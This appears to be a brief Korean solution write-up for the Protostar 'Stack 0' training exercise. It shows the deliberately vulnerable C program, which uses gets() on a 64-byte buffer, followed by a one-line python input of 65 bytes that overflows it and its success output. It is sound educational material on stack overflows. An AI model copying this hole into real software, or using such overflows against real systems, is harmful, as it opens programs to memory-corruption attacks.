Protostar - Stack 0

1. 문제 Source

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}

2. 풀이

user@protostar:/opt/protostar/bin$ python -c "print 'A'*65" | ./stack0
you have changed the 'modified' variable